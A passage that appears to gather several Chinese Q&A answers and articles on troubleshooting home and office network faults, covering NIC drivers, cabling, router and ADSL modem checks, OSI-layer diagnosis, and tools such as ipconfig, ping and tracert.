地址不成功，大概有以下几种情况：第一、网卡驱动故障或丢失。我们可以检查电脑的硬件设备管理器中的网卡驱动是否正常，如叹号，问号。如有未安装的驱动或者驱动显示不正常，建议更新安装驱动。第二、网卡被禁用。检查硬件设备管理器中网卡有没有被禁用，如有把网卡重新启用。第三、网卡硬件故障。如果网卡驱动正常，也处理启用状态，建议寻求硬件服务商。第三步、检查网线是否连接好，或者网线故如果电脑系统本身的网络协议正常，测试本机的 IP 地址也正常，那我们接下来要做的是检查从电脑端网卡到路由器或交换机的网线是否正常。分别检查从“电脑网卡到路由器”，“路由器到ADSL-Modem”之间的网线是否连接好，线路是否有破损等情况。解决方案：可以尝试更换网线，更换网线在路由器上的网络接口第四步、检查路由器在前端的电脑、网线都正常的情况下，我们接下来检查路由器是否正常。可以用 Ping 命令来测试路由器是否处于正常工作状态。通常情况下，路由器的地址为“192.168.0.1或192.168.1.1”。首先按住键盘上的“开始键+R键”，然后在弹出的对话框中输入“CMD”。然后在命令行里输入 “ipconfig”，显示电脑上所有网卡适配器的信息，然后到“默认网关”，找到路由器的地址以后，我们在 CMD 里输入命令“ping 192.168.28.10”。从下图中可以看出，电脑到路由器之间的“数据发送和接收”一切正常，丢失率为0，响应时间正常注：Ping 路由器的地址，以自己的系统显示为准。另外电脑上的IP地址必须和路由器的地址在同一个网段，避免因人为手动设置了错误的IP地址，从而导致与路由器通讯失败如果 Ping 测试路由器不正常，比如时间响应值很大，或者 Ping 测试不成功，那说明路由器很有可能已经出现故障。解决方法:第一、把路由器的电源拨掉，然后重新插上电源，强制启动路由器，同时可以把电脑也重新启动一次。第二、如果强制启动路由器不成功的话，建议更换路由器，重新设置上网信息。第五步、检查ADSL MODEM接入设备一般在ADSL上都有Power灯、ADSL灯、LAN灯这几个指示灯，它们都有着不同的指示意义：Power灯：电源指示灯。如果 Power 灯不亮，说明设备硬件故障。ADSL灯：用于显示 Modem 的同步情况，常亮绿灯表示Modem与局端能够正常同步；红灯表示没有同步；闪动绿灯表示正在建立同步；时亮时灭表示有可能是受室内电话分机的影响。LAN灯：用于显示 Modem 与网卡或路由器的连接是否正常，如果此灯不亮，则 Modem 与计算机之间肯定不通，当网线中有数据传送时，此灯会略闪动。排查方法：第一，电话线：检查一下入户后的分离器是否接好；分离器之前是否接有其他设备，接线盒或水晶头是否完好；电话线是否有损坏等第二，LAN灯：局域网指示灯。这个指示灯表示你的设备与你的电脑的连接是否正常。如果LAN灯不亮，电脑或者路由器是无法与 ADSL 通讯的，当然就不能进行正常拔号了。这时你就要检查一下网线是否有损。第三，尝试复位ADSL Modem。在接通电源的情况下，找到设备后面的复位按钮，用笔芯之类的坚硬东西戳进去，同时必须保持这种状态10秒钟以上，才能算复位成功最后尝试在电脑或者路由器中，重新设置宽带账号，再重新拨号。如果还是不能拨号成功，根据拨号显示的错误代码，联系“宽带服务提供商”，获取技术服务支持。

如宽带无法上网，首先请确认宽带是否因欠费暂停，如是，请先进行充值；如非欠费导致移动宽带出现故障，建议从以下方式操作：重启光猫，并把光纤接头重新插紧后再上网测试；判断光猫指示灯状态，如WAN指示灯在端口与猫连接正常时是常亮或闪烁；去掉路由器，创建宽带连接，重新配置路由器；如果上述方式仍不能解决，可以拨打当地10086进行宽带报障。

你登陆路由器看他的设置，然后就是检查。外部故障网线啦，或者是或者是路由器的。电源线吗？路由器内部设置非常重要或者是有卡顿现象，路由器的配置高低的问题。

网络故障诊断及排除方法 　　网络故障如何诊断?怎么排除网络故障的原因呢?为帮助各位计算机专业同学们深入学习网络故障诊断相关知识，我为大家分享网络故障原因诊断及排除方法! 　　故障排除过程 　　在开始动手排除故障之前，最好先准备一支笔和一个记事本，然后，将故障现象认真仔细记录下来。在观察和记录时一定注意细节，排除大型网络故障如此，一般十几台电脑的小型网络故障也如此，因为有时正是一些最小的细节使整个问题变得明朗化。 　　1、识别故障现象 　　作为管理员，在你排故障之前，也必须确切地知道网络上到底出了什么毛病，是不能共享资源，还是找不到另一台电脑，如此等等。知道出了什么问题并能够及时识别，是成功排除故障最重要的步骤。为了与故障现象进行对比，作为管理员你必须知道系统在正常情况下是怎样工作的，反之，你是不好对问题和故障进行定位的。 　　识别故障现象时，应该向操作者询问以下几个问题: 　　(1)当被记录的故障现象发生时，正在运行什么进程(即操作者正在对电脑进行什么操作)。 　　(2)这个进程以前运行过吗? 　　(3)以前这个进程的运行是否成功? 　　(4)这个进程最后一次成功运行是什么时候? 　　(5)从那时起，哪些发生了改变? 　　带着这些疑问来了解问题，才能对症下药排除故障。 　　2、对故障现象进行详细描述 　　当处理由操作员报告的问题时，对故障现象的详细描述显得尤为重要。如果仅凭他们的一面之词，有时还很难下结论，这时就需要管理员亲自操作一下刚才出错的程序，并注意出错信息。例如，在使用Web浏览器进行浏览时，无论键入哪个网站都返回"该页无法显示"之类的信息。使用ping命令时，无论ping哪个IP地址都显示超时连接信息等。诸如此类的出错消息会为缩小问题范围提供许多有价值的信息。对此在排除故障前，可以按以下步骤执行: 　　(1)收集有关故障现象的信息; 　　(2)对问题和故障现象进行详细描述; 　　(3)注意细节; 　　(4)把所有的问题都记下来; 　　(5)不要匆忙下结论。 　　3、列举可能导致错误的原因 　　作为网络管理员，则应当考虑，导致无法查看信息的原因可能有哪些，如网卡硬件故障、网络连接故障、网络设备(如集线器、交换机)故障、TCP/IP协议设置不当等等。 　　注意:不要着急下结论，可以根据出错的可能性把这些原因按优先级别进行排序，一个个先后排除。 　　4、缩小搜索范围 　　对所有列出的可能导致错误的原因逐一进行测试，而且不要根据一次测试，就断定某一区域的网络是运行正常或是不正常。另外，也不要在自己认为已经确定了的第一个错误上停下来，应直到测试完为止。 　　除了测试之外，网络管理员还要注意:千万不要忘记去看一看网卡、Hub、Modem、路由器面板上的LED指示灯。通常情况下，绿灯表示连接正常(Modem需要几个绿灯和红灯都要亮)，红灯表示连接故障，不亮表示无连接或线路不通。根据数据流量的大小，指示灯会时快时慢的闪烁。同时，不要忘记记录所有观察及测试的手段和结果。 　　5、隔离错误 　　经过你的一番折腾后，这时你基本上知道了故障的`部位，对于电脑的错误，你可以开始检查该电脑网卡是否安装好、TCP/IP协议是否安装并设置正确、Web浏览器的连接设置是否得当等一切与已知故障现象有关的内容。然后剩下的事情就是排除故障了。 　　注意:在开机箱时，不要忘记静电对电脑的危害，要正确拆卸电脑部件。 　　6、故障分析 　　处理完问题后，作为网络管理员，还必须搞清楚故障是如何发生的，是什么原因导致了故障的发生，以后如何避免类似故障的发生，拟定相应的对策，采取必要的措施，制定严格的规章制度。 　　故障原因 　　虽然故障原因多种多样，但总的来讲不外乎就是硬件问题和软件问题，说得再确切一些，这些问题就是网络连接性问题、配置文件选项问题及网络协议问题。 　　1、网络连接性 　　网络连接性是故障发生后首先应当考虑的原因。连通性的问题通常涉及到网卡、跳线、信息插座、网线、Hub、Modem等设备和通信介质。其中，任何一个设备的损坏，都会导致网络连接的中断。连通性通常可采用软件和硬件工具进行测试验证。例如，当某一台电脑不能浏览Web时，在网络管理员的脑子里产生的第一个想法就是网络连通性的问题。到底是不是呢?可以通过测试进行验证。看得到网上邻居吗?可以收发电子邮件吗?ping得到网络内的其他电脑吗?只要其中一项回答为"yes"，那就可以断定本机到Hub的连通性没有问题。当然，即使都回答"No"，也不就表明连通性肯定有问题，而是可能会有问题，因为如果电脑的网络协议的配置出现了问题也会导致上述现象的发生。另外，看一看网卡和Hub接口上的指示灯是否闪烁及闪烁是否正常也是个不坏的主意。 　　排除了由于电脑网络协议配置不当而导致故障的可能后，就应该查看网卡和Hub的指示灯是否正常，测量网线是否畅通。 　　2、配置文件和选项 　　服务器、电脑都有配置选项，配置文件和配置选项设置不当，同样会导致网络故障。如服务器权限的设置不当，会导致资源无法共享的故障。电脑网卡配置不当，会导致无法连接的故障。当网络内所有的服务都无法实现时，应当检查Hub。 　　3、网络协议 　　没有网络协议，网络设备和电脑之间就无法通信，是不能实现资源共享Modem上网的。 　　连通性故障 　　1、故障表现 　　连通性故障通常表现为以下几种情况: 　　①电脑无法登录到服务器; 　　②电脑无法通过局域网接入Internet; 　　③电脑在"网上邻居"中只能看到自己，而看不到其他电脑，从而无法使用其他电脑上的共享资源和共享打印机 　　④电脑无法在网络内实现访问其他电脑上的资源; 　　⑤网络中的部分电脑运行速度异常的缓慢。 　　2、故障原因 　　以下原因可能导致连通性故障: 　　①网卡未安装，或未安装正确，或与其他设备有冲突; 　　②网卡硬件故障; 　　③网络协议未安装，或设置不正确; 　　④网线、跳线或信息插座故障; 　　⑤Hub电源未打开，Hub硬件故障，或Hub端口硬件故障; 　　⑥UPS电源故障。 　　3、排除方法 　　①确认连通性故障 　　当出现一种网络应用故障时，如无法接入Internet，首先尝试使用其他网络应用，如查找网络中的其他电脑，或使用局域网中的Web浏览等。如果其他网络应用可正常使用，如虽然无法接入Internet，却能够在"网上邻居"中找到其他电脑，或可ping到其他电脑，即可排除连通性故障原因。如果其他网络应用均无法实现，继续下面操作。 　　②看LED灯判断网卡的故障 　　首先查看网卡的指示灯是否正常。正常情况下，在不传送数据时，网卡的指示灯闪烁较慢，传送数据时，闪烁较快。无论是不亮，还是长亮不灭，都表明有故障存在。如果网卡的指示灯不正常，需关掉电脑更换网卡。对于Hub的指示灯，凡是插有网线的端口，指示灯都亮。由于是Hub，所以，指示灯的作用只能指示该端口是否连接有终端设备，不能显示通信状态。 　　③用ping命令排除网卡故障 　　使用ping命令，ping本地的IP地址或电脑名(如ybgzpt)，检查网卡和IP网络协议是否安装完好。如果能ping通，说明该电脑的网卡和网络协议设置都没有问题。问题出在电脑与网络的连接上。因此，应当检查网线和Hub及Hub的接口状态，如果无法ping通，只能说明TCP/IP协议有问题。这时可以在电脑的"控制面板"的"系统"中，查看网卡是否已经安装或是否出错。如果在系统中的硬件列表中没有发现网络适配器，或网络适配器前方有一个黄色的"!"，说明网卡未安装正确。需将未知设备或带有黄色的"!"网络适配器删除，刷新后，重新安装网卡。并为该网卡正确安装和配置网络协议，然后进行应用测试。如果网卡无法正确安装，说明网卡可能损坏，必须换一块网卡重试。如果网卡安装正确则原因是协议未安装。 　　④如果确定网卡和协议都正确的情况下，还是网络不通，可初步断定是Hub和双绞线的问题。为了进一步进行确认，可再换一台电脑用同样的方法进行判断。如果其他电脑与本机连接正常，则故障一定是先前的那台电脑和Hub的接口上。 　　⑤如果确定Hub有故障，应首先检查Hub的指示灯是否正常，如果先前那台电脑与Hub连接的接口灯不亮说明该Hub的接口有故障(Hub的指示灯表明插有网线的端口，指示灯亮，指示灯不能显示通信状态)。 　　⑥如果Hub没有问题，则检查电脑到Hub的那一段双绞线和所安装的网卡是否有故障。判断双绞线是否有问题可以通过"双绞线测试仪"或用两块三用表分别有两个人在双绞线的两端测试。主要测试双绞线的1、2和3、6四条线(其中1、2线用于发送，3、6线用于接收)。如果发现有一根不通就要重新制作。 　　通过上面的故障压缩，我们就可以判断故障出在网卡、双绞线或Hub上。 　　协议故障 　　1、协议故障的表现 　　协议故障通常表现为以下几种情况: 　　①电脑无法登录到服务器。 　　②电脑在"网上邻居"中既看不到自己，也无法在网络中访问其他电脑。 　　③电脑在"网上邻居"中能看到自己和其他成员，但无法访问其他电脑。 　　④电脑无法通过局域网接入Internet。 　　2、故障原因分析 　　①协议未安装:实现局域网通信，需安装NetBEUI协议。 　　②协议配置不正确:TCP/IP协议涉及到的基本参数有四个，包括IP地址、子网掩码、DNS、网关，任何一个设置错误，都会导致故障发生。 ;

计算机网络故障与排除方法 　　随着计算机网络技术的发展，计算机网络在各个领域都得到了重要应用。因此，计算机网络在运行的过程中不可避免的会发生一些故障。下面是我为大家搜索整理的关于计算机网络故障与排除方法，欢迎参考阅读，希望对大家有所帮助!想了解更多相关信息请持续关注我们应届毕业生培训网! 　　1 计算机网络发展概述 　　在我国，计算机网络技术的发展速度超乎想象，目前计算机网络的覆盖率逐年提高，已经成为工作和生活各个领域的重要组成部分。计算机网络的应用，改变了我们传统的工作和生活方式，为我们的工作和生活带来了极大的便利。 　　2 计算机网络故障的主要分类 　　2.1 计算机网络硬件故障简要分析 　　对于计算机网络硬件故障而言，主要存在以下几种类型：(1)网络设备连接错误或者非正常连接;(2)未安装上网卡，或者上网卡安装错误;(3)网络线路存在断路现象，网络线路与网络控制模块在搭线和接线过程存在错接现象;(4)网络连接设备例如交换机或者路由器的电源和接线端口出现损坏，或者是设备内部的主板出现瞬间大电流损坏现象;(5)CPU的温度在使用过程中过高，并且计算机网络设备在潮湿或者静电较强的范围内工作，造成CPU或网络设备受到温湿度影响以及电磁干扰继而发生故障。由此可见，计算机网络硬件故障主要是硬件部分的损伤，因而我们可以称之为物理故障。 　　2.2 计算机网络软件故障简要分析 　　计算机网络软件故障由于涉及到众多的软件和程序问题，所以比硬件故障要复杂，并且判断起来难度较大。其中计算机网络软件故障主要有以下几种类型：(1)网络卡的驱动程序问题;(2)网络协议的约定问题;(3)网络IP地址的预留与分配的问题;(4)路由器的内部编码程序配置问题;(5)网络下载速度过慢问题;(6)网络连接不正常，出现断网的问题。对于这些故障，由于都是由软件和程序引起的，所以我们可以称之为逻辑故障。 　　3 计算机网络故障的诊断和排除方法 　　(1)弄清楚计算机网络故障的表现和具体现象，将计算机网络故障表现进行归类，并查找相关资料，看能否找到进一步的故障信息。(2)搜集故障和与故障相关的信息，为判断故障原因做充分的准备。(3)分析可能导致计算机网络故障的原因，根据计算机网络的故障表现，和前期搜集到的.信息，确定故障原因。(4)根据计算机网络故障的原因制定诊断计划，便于整个故障排除工作的开展。(5)根据诊断计划进行故障排除，逐项解决存在的故障现象，最终使故障完全消除。(6)记录整个故障排除过程，为以后做准备，积累相似故障的处理经验。 　　3.1 对物理层故障的分析判断和解决 　　物理层是整个计算机网络的基础层，在这一层中，规定了所有网络设备的功能和特性，并为数据链路层提供透明传输的基础。经过研究发现，在物理层的主要故障都是在连接方式上。主要的表现是连接电缆发生错误、信号电平发生错误、数字编码发生错误、电脑网络时钟时间不一致等。对于这些物理故障我们排除的时候首先要检查电缆连接是否正确，其次要利用displayinterface 命令，对每个物理端口进行检查。 　　3.2 对数据链路层故障的分析判断和解决 　　对于数据链路层而言，其主要作用是建立准确的信道便于网络层的信息传递，通过信道的建立使上层的数据传送不必经过物理层而实现。此外，数据链路层的功能还包括流量控制和差错控制。在数据链路层经常发生的故障主要是链路接口不一致、链路没有得到充分利用、重复帧不正常等。对于这些故障，最好的解决办法是利用displayinterface 命令检查端口，找出出问题的端口。 　　3.3 对网络层故障的分析判断和解决 　　网路层的主要作用是为传输层提供快速的数据传输，并在传输过程中选出延时最短的路由路径。经过对网路层的故障了解后发现，网络层的故障主要表现在两个方面：一是路由中的信息没有正确配置，二是地址和子网掩码发生错误。目前解决网络层故障的最有效措施是利用display ip routing命令检查路由器的路由表数据是否正确，如果发生错误则通过手动设置的方式，修正路由表数据。 　　3.4 对传输层故障的分析判断和解决 　　传输层的主要作用是为网络提供即时通信的通道，传输层中用到的通信协议主要是TCP/IP网络通信协议。对于这一层的故障来说，主要表现在端口配置不正确以及访问控制列表的时候发生错误。排除传输层的故障依靠的主要方法是利用display acl 命令显示出控制列表的信息，并对现有的规则进行检查，此外，还要利用Notstat 命令检查端口状态。 　　3.5 对会话层故障的分析判断和解决 　　会话层是传输层的下一层，在网络系统中属于互连(OSI)模型中的第五层，主要是解决面向用户的功能。会话层的故障主要出现在用户无法建立对话机制，并且对话建立之后不能有效拆除。解决会话层故障的办法通常是利用校验方法对用户对话机制进行点对点的校验。 　　3.6 对表示层故障的分析判断和解决 　　表示层在开放系统互连(OSI)模型中的第六层，其主要功能是向应用进程提供信息表示方式，使不同表示方式的系统之间能进行通信。表示层的故障主要表现为信息表示方式错误，解决故障最有效的办法是对信息表示方式进行检查。 　　3.7 对应用层故障的分析判断和解决 　　应用层是计算机网络系统的嘴外层，主要作用是为应用程序的运行提供平台，其功能包括远程登录功能、文件传输处理功能、网络管理功能、文件邮件传统功能等。因为应用层的功能较多，所以其故障相对于其他层来说数量要多，故障原因也比较复杂。应用层故障经过分析之后主要为应用程序内部紊乱而引起的，具体表现是应用程序无法正常运行。排除应用层故障的最有效手段是对应用程序进行修复或重装。 　　4 计算机网络故障诊断的常用工具 　　4.1 ipconfig 　　Ipconfig程序是计算机网络的主要应用程序，其主要的作用是可以显示主机的TCP/IP协议中的基本信息，包括IP地址、网络适配器地址、子网掩码数据、默认网关数据等。利用这一程序可以轻松地检测计算机的TCP/IP数据是否正确，进而对计算机网络通信故障进行诊断。 　　4.2 ping 　　Ping程序在计算机网络中使用频率非常高，其主要作用就是判断计算机网络是否处于正常的连通状态。其原理是利用ICMP 协议传输数据包的方式来检测网络状态是否畅通。如果计算机网络出现通信连接异常的故障时，首选的方式就是用Ping程序进行诊断。 　　4.3 tracert 　　Tracert程序与Ipconfig程序类似，都是存在于计算机网络内部的主要应用程序，其作用是用于检查路由通路是否畅通。检查的过程主要是以发送ICMP 包来实现的。因此，我们可以利用该程序有效诊断路由通路的故障，并根据Tracert程序反馈的信息及时有效的消除计算机网络路由故障。 ;

你是让我给你写篇论文么

【导读】导致网络不通的原因实在太多，但是作为网络管理者也不必为此而失去解决问题的勇气，只要我们将故障现象进行规类，还是有规律可循的。搭建一个网络是相对比较轻松的事情，但是要想管理好网络却是一件比较繁琐的工作。且不说用户给你提出的各种要求会让你忙个不停，单单网络不通这一故障解决起来就够麻烦的，因为导致网络不通的原因实在太多。但是作为网络管理者也不必为此而失去解决问题的勇气，只要我们将故障现象进行规类，还是有规律可循的。　　一、连接指示灯不亮　　观察网卡后侧RJ45一边有两个指示灯。它们分别为连接状态指示灯和信号传输指示灯，其中正常状态下连接状态指示灯呈绿色并且长亮，信号指示灯呈红色，正常应该不停的闪烁。如果我们发现连接指示灯，也就是绿灯不亮，那么表示网卡连接到HUB或交换机之间的连接有故障。对此可以使用测试仪进行分段排除，如果从交换机到网卡之间是通过多个模块互连的，那么可以使用二分法进行快速定位。而一般情况下这种故障发生多半是网线没有接牢、使用了劣质水晶头等原因。而且故障点大多是连接的两端有问题，例如交换机的端口处和连接计算机的网卡处的接头，借助测试仪可以很轻松的就以找出故障进行解决。　　二、信号指示灯不亮　　如果信号指示灯不亮，那么则说明没有信号进行传输，但可以肯定的是线路之间是正常的。那么不防使用替换法将连接计算机的网线换到另外一台计算机上试试，或者使用测试仪检查是否有信号传送，如果有信号传送那么则是本地网卡的问题。在实际的工作经验证明网卡导致没有信息传送是比较普遍的故障。对此可以首先检查一下网卡安装是否正常、IP设置是否错误，可以尝试Ping一下本机的IP地址，如果能够Ping通则说明网卡没有太大问题。如果不通，则可以尝试重新安装网卡驱动来解决，另外对于一些使用了集成网卡或质量不高的网卡，容易出现不稳定的现象，即所有设置都正确，但网络却不通。对此可以将网卡禁用，然后再重新启用的方法，也会起到意想不到的效果。　　三、降速使用　　很多网卡都是使用10M/100M自适应网卡，虽然网卡的默认设置是“自适应”，但是受交换机速度或网线的制作方法影响，可能出现一些不匹配的情况。这个时候不防试试把网卡速度直接设为10M。其方法是右击“本地连接”打开其属性窗口，在“常规”选项卡中单击“配置”按钮，将打开的网卡属性窗口切换到“高级”选项卡，在“属性”列表中选中“Link Speed/Duplex Mode”，在右侧的“值”下拉菜单中选择“10 Full Mode”，依次单击“确定”按钮保存设置。　　四、防火墙导致网络不通　　在局域网中为了保障安全，很多朋友都安装了一些防火墙。这样很容易造成一些“假”故障，例如Ping不通但是却可以访问对方的计算机，不能够上网却可以使用QQ等。判断是否是防火墙导致的故障很简单，你只需要将防火墙暂时关闭，然后再检查故障是否存在。而出现这种故障的原因也很简单，例如用户初次使用 IE访问某个网站时，防火墙会询问是否允许该程序访问网络，一些用户因为不小心点了不允许这样以后都会延用这样的设置，自然导致网络不通了。比较彻底的解决办法是在防火墙中去除这个限制。例如笔者使用的是金山网镖，那么则可以打开其窗口，切换到“应用规则”标签，然后在其中找到关于Internet Explorer项，单击“允许”即可。　　五、整个网络奇怪的不通　　在实际的故障解决过程中，对于一些较大型的网络还容易出现整个网络不通的奇怪故障。说它奇怪，是因为所有的现象看起来都正常，指示灯、配置都经过检查了，任何问题都没有，但网络就是不通；而且更另人叫绝的是在不通的过程中偶尔还能有一两台计算机能够间隙性的访问。其实这就是典型的网络风暴现象，多发生在一些大中型网络中。既网络中存在着很多病毒，然后彼此之间进行流窜相互感染，由于网络中的计算机比较多，这样数据的传输量很大，直接就占领了端口，使正常的数据也无法传输。对于这种由病毒引发的网络风暴解决的最直接的办法就是找出风暴的源头，这时只需要在网络中的一台计算机上安装一个防火墙，例如金山网镖，启用防火墙后你就会发现防火墙不停的报警，打开后可以在“安全状态”标签的安全日志中看到防火墙拦截来自同一个IP地址的病毒攻击，这时你只要根据IP地址找出是哪一台计算机，将其与网络断开进行病毒查杀，一般即可解决问题。　　小提示：作为网络管理员，即使在正常情况下也有必要安装金山网镖这样的防火墙，找出网络中流串的病毒源头，作出预防，避免危害进一步的扩大。但是要避免网络风暴最佳的办法还是划分子网和安装网络版杀毒软件。划分子网，这样每个子网内的计算机比较少，这样病毒即使相互传播，产生的数据量也不大，不会危及整个网络，而安装网络版杀毒软件则可以保持整个网络高速畅通的运转。　　六、配置错误导致网络不通　　这种故障的外部表现多是网络指示灯正常，也能够Ping通，有时可以访问内网资源，但无法访问外网资源，有时还会表现出访问网站时只能通过IP地址，而不能通过域名访问。这就是典型的网络配置不当所产生的，即没有设置正确的网卡和DNS。如果网关设置错误，那么该台计算机只能在局域网内部访问，如果DNS设置错误，那么访问外部网站时不能进行解析。对此我们只需要打开本地连接的属性窗口，打开“Internet协议（TCP/IP）”属性窗口，然后设置正确的默认网关和DNS服务器地址即可。　　七、网上邻居无法访问　　网络是畅通的，与Interne或局域网内部的连接全部正常，但是通过网上邻居访问局域网其它计算机时却无法访问的症状。造成这种故障的原因比较多，笔者在这里可以给大家提供一个简单的解决办法。即直接在 “运行”窗口中按照“\计算机名（IP地址）共享名”的格式来访问网内其它计算机上的共享文件夹，这样不仅可以绕开这个故障，而且也比通过网上邻居访问要更加快捷。　　八、组策略导致网络不通　　这种故障主要存在于Windows 2000/XP/2003系统之间，是因为组策略设置了禁止从网络访问。因此我们可以在“运行”窗口中输入“Gpedit.msc”并回车，在打开的组策略窗口中依次选择“本地计算机策略—计算机配置—Windows设置—安全设置—本地策略—用户权利指派”，然后双击右侧的“拒绝从网络访问这台计算机”，在打开的窗口中将里面的帐户列表选中并删除即可。　　网络不通是一个复杂多变的故障，但只要我们掌握其本质，了解网络构建的步骤，熟悉故障的易发点，这样就可以做到以不变应万变，轻松解决网络不通的问题

网络故障诊断的概述 　　计算机网络遍及世界各个角落，在给人们带来诸多便利的同时也带来了很多烦恼，下面是我搜索整理的关于网络故障诊断的概述，欢迎参考阅读，希望对大家有所帮助!想了解更多相关信息请持续关注我们应届毕业生培训网! 　　一、网络故障 　　1.网络故障诊断 　　网络故障诊断以网络原理、网络配置和网络运行的知识为基础。从故障现象出发，以网络诊断工具为手段获取诊断信息，确定网络故障点，查找问题的根源，排除故障，恢复网络正常运行。 　　网络故障通常有以下几种可能：物理层中物理设备相互连接失败或者硬件及线路本身的问题;数据链路层的网络设备的接口配置问题;网络层网络协议配置或操作错误;传输层的设备性能或通信拥塞问题;上三层网络应用程序错误。诊断网络故障的过程应该沿着OSI七层模型从物理层开始向上进行。首先检查物理层，然后检查数据链路层，以此类推，设法确定通信失败的故障点，直到系统通信正常为止。 　　2.局域网或广域网分析仪在内的多种工具 　　网络故障以某种症状表现出来，故障症状包括一般性的(象用户不能接入某个服务器)和较特殊的(如路由器不在路由表中)。对每一个症状使用特定的故障诊断工具和方法都能查找出一个或多个故障原因。 　　3.一般故障排除 　　一般故障排除模式如下：第一步，当分析网络故障时，要确定故障的具体现象，然后确定造成这种故障现象的原因的类型。第二步，广泛的从网络管理系统、协议分析跟踪、路由器诊断命令的输出报告或软件说明书中收集有用的信息。第三步，根据收集到的情况考虑可能的故障原因。第四步，根据最后的可能的故障原因建立一个诊断计划。第五步，执行诊断计划，认真做好每一步测试和观察，直到故障症状消失。第六步，每改变一个参数都要确认其结果。 　　二、网络故障分层诊断技术 　　1.物理层及其诊断 　　物理层的故障主要表现在设备的物理连接方式是否恰当;连接电缆是否正确;MODEM、CSU/DSU等设备的配置及操作是否正确。 　　2.数据链路层及其诊断 　　查找和排除数据链路层的故障，需要查看路由器的配置，检查连接端口的共享同一数据链路层的封装情况。每对接口要和与其通信的设备有相同的封装。通过查看路由器的配置检查其封装情况。 　　3.网络层及其诊断 　　排除网络层故障的基本方法是：沿着从源到目标的路径，查看路由器路由表，同时检查路由器接口的IP地址。如果路由没有在路由表中出现，应该通过检查来确定是否已经输入适当的静态路由、默认路由或者动态路由。然后手工配置一些丢失的路由，或者排除一些动态路由选择过程的故障，包括RIP或者IGRP路由协议出现的故障。 　　三、路由器接口故障排除 　　1.串口故障排除 　　串口出现连通性问题时，分析它的屏幕输出报告内容。串口报告可能组合有以下几种：1.串口运行、线路协议运行，这是完全的工作条件。该串口和线路协议已经初始化，并正在交换协议的存活信息。2.串口运行、线路协议关闭，这个显示说明路由器与提供载波检测信号的设备连接，表明载波信号出现在本地和远程之间，但没有正确交换连接两端的协议存活信息。可能的故障发生在路由器配置问题、调制解调器操作问题、租用线路干扰或远程路由器故障，数字式调制解调器的时钟问题，通过链路连接的两个串口不在同一子网上，都会出现这个报告。3.串口和线路协议都关闭，可能是电信部门的线路故障、电缆故障或者是调制解调器故障。4.串口管理性关闭和线路协议关闭，如果信息包丢失有规律性增加，表明通过该接口传输的通信量超过接口所能处理的`通信量。解决的办法是增加线路容量。查找其他原因发生的信息包丢失，查看输出报告中的输入输出保持队列的状态。 　　2.以太接口故障排除 　　以太接口的典型故障问题是：带宽的过分利用;碰撞冲突次数频繁;使用不兼容的类型。可以查看该接口的吞吐量、碰撞冲突、信息包丢失、和类型的有关内容等。 　　1)通过查看接口的吞吐量可以检测网络的利用。如果网络广播信息包的百分比很高，网络性能开始下降。光纤网转换到以太网段的信息包可能会淹没以太口。互联网发生这种情况可以采用优化接口的措施，禁用快速转换，并且调整缓冲区和保持队列。 　　2)两个接口试图同时传输信息包到以太电缆上时，将发生碰撞。以太网要求冲突次数很少，不同的网络要求是不同的，一般情况发现冲突每秒有3、5次就应该查找冲突的原因了。碰撞冲突产生拥塞，碰撞冲突的原因通常是由于敷设的电缆过长、过分利用、或者“聋”节点。以太网络在物理设计和敷设电缆系统管理方面应有所考虑，超规范敷设电缆可能引起更多的冲突发生。 　　3)如果接口和线路协议报告运行状态，并且节点的物理连接都完好，可是不能通信。引起问题的原因也可能是两个节点使用了不兼容的类型。解决问题的办法是重新配置使用相同类型。如果要求使用不同类型的同一网络的两个设备互相通信，可以在路由器接口使用子接口，并为每个子接口指定不同的封装类型。 　　四、物理故障与逻辑故障 　　1.物理故障 　　物理故障指的是设备或线路损坏、插头松动、线路受到严重电磁干扰等情况。比如说，网络管理人员发现网络某条线路突然中断，首先用ping或fping检查线路在网管中心这边是否连通。 　　另一种情况，比如两个路由器Router直接连接，这时应该让一台路由器的出口连接另一台路由器的入口，而这台路由器的入口连接另一路由器的出口才行。当然，集线器Hub、交换机、多路复用器也必须连接正确，否则也会导致网络中断。 　　2.逻辑故障 　　逻辑故障中最常见的情况就是配置错误。配置错误可能是路由器端口参数设定有误，或路由器路由配置错误以至于路由循环或找不到远端地址，或者是路由掩码设置错误等。 　　逻辑故障的另一类就是一些重要进程或端口关闭，以及系统的负载过高。这时只需重新启动该端口，就可以恢复线路的连通了。还有一种常见情况是路由器的负载过高，表现为路由器CPU温度太高、CPU利用率太高，以及内存剩余太少等，如果因此影响网络服务质量。 　　五、结论 　　网络发生故障是不可避免的。网络建成运行后，网络故障诊断是网络管理的重要技术工作。搞好网络的运行管理和故障诊断工作，提高故障诊断水平需要注意以下几方面的问题：认真学习有关网络技术理论;清楚网络的结构设计，包括网络拓朴、设备连接、系统参数设置及软件使用;了解网络正常运行状况、注意收集网络正常运行时的各种状态和报告输出参数;熟悉常用的诊断工具，准确的描述故障现象。 ;

当网络遭遇故障时，最困难的不是修复网络故障本身，而是如何迅速地查出故障所在，并确定发生的原因。对于网管来说，首先要有一个清晰的排障思路，另外，经验也是非常重要的。 当网络遭遇故障时，最困难的不是修复网络故障本身，而是如何迅速地查出故障所在，并确定发生的原因。对于网管来说，首先要有一个清晰的排障思路，另外，经验也是非常重要的。 网络故障诊断以网络原理、网络配置和网络运行的知识为基础，从故障的实际现象出发，以网络诊断工具为手段获取诊断信息，沿着OSI七层模型从物理层开始依次向上进行，逐步确定网络故障点，查找问题的根源，排除故障，恢复网络的正常运行。 网络故障症状包括一般性的（如用户不能上网、不能访问网上邻居等）和较特殊的（如路由器不在路由表中）。常见的网络排障思路如下： 第一步：识别并描述故障现象 分析网络故障时，首先要清楚故障现象，应该详细了解故障的症状和潜在的原因。例如，服务器不响应用户的请求，可能的故障原因是服务器配置问题、接口卡故障或路由器配置命令丢失等。收集需要的用于帮助隔离可能故障原因的信息，如广泛地从用户、网络管理系统、协议分析跟踪、路由器诊断命令的输出报告、软件说明书中收集。 第二步：制定诊断方案，列举可能导致故障的原因 可以根据有关情况排除某些故障原因。例如，根据某些信息可以排除硬件故障，从而把注意力放在软件上。 第三步：排除故障 认真做好每一步测试和观察，每改变一个参数都要确认其结果，确定问题是否解决。如果没有解决，继续下去，直到故障症状消失。 【实例1】不能访问服务器 要先测试一下这一故障是否只影响一台工作站，这可以通过其他工作站访问服务器来证实。如果有类似故障的工作站出现在同一网段或连接在同一交换机上，那么就要分析这一网段子网掩码是否设置正确，交换机是否正常工作。除此之外，还要看一下服务器是否禁止了这一网段工作站的服务。 【实例2】传输上百兆数据时出现“网络资源不足”的提示 